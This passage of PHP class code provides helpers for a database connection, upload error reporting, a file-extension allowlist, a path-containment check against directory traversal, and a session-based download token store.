ensureDatabaseConnection() { global $conni; if (isset($conni) && is_object($conni)) { return true; } if ( !defined('EW_CONN_HOST') || !defined('EW_CONN_USER') || !defined('EW_CONN_PASS') || !defined('EW_CONN_DB') ) { return false; } $conni = @mysqli_connect(EW_CONN_HOST, EW_CONN_USER, EW_CONN_PASS, EW_CONN_DB); return is_object($conni); } /** * @param string $sql * @return bool */ private function databaseHasRow($sql) { global $conni; $rec = mysqli_query($conni, $sql); if (!$rec) { return false; } $hasRow = mysqli_num_rows($rec) > 0; mysqli_free_result($rec); return $hasRow; } /** * @param string $code * @param string $message * @return array */ private function uploadError($code, $message) { $this->lastUploadError = array( 'code' => $code, 'message' => $message, ); return array( 'error' => true, 'code' => $code, 'message' => $message, ); } /** * @param string $safeBasename * @param array $options * @return bool */ private function isAllowedExtension($safeBasename, $options) { if (!isset($options['allowedExtensions']) || !is_array($options['allowedExtensions'])) { return true; } $allowed = $options['allowedExtensions']; if (count($allowed) === 0) { return true; } $ext = strtolower(pathinfo($safeBasename, PATHINFO_EXTENSION)); $allowed = array_map('strtolower', $allowed); return $ext !== '' && in_array($ext, $allowed, true); } /** * @param string $path * @param string $directory * @return bool */ private function isPathWithinDirectory($path, $directory) { $root = realpath($directory); $real = realpath($path); if ($root === false || $real === false) { return false; } $root = rtrim($root, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR; return strpos($real, $root) === 0 || $real === rtrim($root, DIRECTORY_SEPARATOR); } /** * @return array<string,array> */ private function &getTokenStore() { if (is_array($this->tokenStore)) { return $this->tokenStore; } if (session_status() === PHP_SESSION_ACTIVE) { if (!isset($_SESSION['cce_download_tokens']) || !is_array($_SESSION['cce_download_tokens'])) { $_SESSION['cce_download_tokens'] = array(); } return $_SESSION['cce_download_tokens']; } if ($this->tokenStore === null) { $this->tokenStore = array(); } return $this->tokenStore; } }